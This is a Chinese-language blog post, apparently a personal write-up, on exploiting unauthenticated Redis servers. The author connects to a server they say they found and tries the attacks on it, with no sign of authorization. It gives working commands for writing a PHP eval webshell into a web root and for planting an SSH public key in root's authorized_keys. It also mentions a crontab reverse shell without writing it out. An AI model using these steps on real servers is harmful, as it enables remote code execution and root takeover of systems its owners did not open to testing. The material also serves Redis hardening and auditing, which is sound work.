Redis未授权访问实战

2 minute read

Redis未授权访问实战

0x00 前言

最近偶然挖到一个Redis未授权访问漏洞,但是对Redis和漏洞原理不了解,所以一边写一边学一下这个漏洞。尝试一下getshell。

0x01 Redis简介

简单来说,Redis是一种数据库。 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis和mysql的区别: https://www.hzpady.com/a/2119.html

0x02 漏洞原理(产生条件)

redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。 没有设置密码认证,可以免密码登入redis服务。

0x03 漏洞利用

方法1 利用redis写webshell(条件是知道web目录的绝对路径,并有读写权限)

先下载个Redis

在redis官网上看到可以docker pull,那岂不乐哉。

$ docker search redis
$ docker pull redis

只需两条命令,redis已成为我的囊中之物

接下来运行容器

$ docker run -d -p 6379:6379 --name redis redis

用ps命令可以看到redis已经部署到了我的6379端口了

刚刚学了Redis未授权访问漏洞,那我自己不会也可以被x了吧?于是我扫了一下自己,并没有发现6379端口开放,那我应该还是安全的。而且好像如果被x了,x的应该也是我的docker容器才对!

下一步进入容器

$ docker exec -it redis /bin/bash

在容器里用 redis-cli -h xxx.xxx.xxx.xxx 命令来连接存在漏洞的服务器

连接成功后的一些常用命令:

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test "whoami"
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]

开始写webshell了,方法是

config set dir /var/www/html/ 
config set  dbfilename shell.php 
set x "<?php eval($_POST[cmd]);?>" 
save

发现找不到网站的绝对路径,试了很多也没用,看来只能另辟蹊径了

方法2 在目标机器写入ssh公钥 然后在用私钥登录(前提是开启了ssh服务即22号端口开放,目标机器root权限启动redis)

再把key.txt导入容器

$ docker cp ./key.txt redis:/home

进入容器,如图操作发现没有权限,很遗憾,但是说明此方法也不可行了。

如果有权限的话就可以

     > config set dir /root/.ssh/
     > config get dir
     > config set dbfilename "authorized_keys"
     > save

ssh -i a root@x.x.x.x     

或者如下

      > config set dir /root/.ssh/
      > config set dbfilename authorized_keys
      > set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC87XDbro8GLpOd4CLvm4uEkyeHAg5qElanEaiYIVh19fo6DvEYHjvUJ6+xg86wXSqbO9YPBvW+ZBFEDwq2ywVOL0jxrQ26GdQwY4SSfvrKdPKUVLvoV5+haZ6wc9ECK0P5rVuVuljWYTh+T5TCubEdXa5QKWNf+lGqDED6unUg4RuvI+1+LAWPrSTMGuYazHYC5GMVp/Y/eA9jrbEH3BZyYLLdsYB4yBw3Ej6hezpFjIJsOJaTx9PlO2rce7VJjCZkCRu5eqLkSqyEFEyD2UNVPQ21oIzaVg4rShMij1r6R8CMpc6mysbOEcEsCBLNZxN3EfwGOwtSYa8LV3d0mHXn ubuntu@VM-20-16-ubuntu\n\n\n"
      > save

方法3 修改目标机器的crontab 添加弹shell命令

很可惜在目标机器中没有找到 /var/spool/cron 文件夹

如果写到/etc/crontab文件中能否利用成功呢?到处都是知识盲区,还是得自己搭环境慢慢试。

0x04 小结

我感觉这个漏洞算是挺常见的,经常能在其他文章中看到,今天自己也挖到了,于是就简单学习了一波。这算是很古老的漏洞了吧,但是在今天仍然随处可见,正说明了人类的不良习惯造成的漏洞是没办法打补丁的。

参考文章(里面防护方法也很详细) https://www.freebuf.com/articles/network/170904.html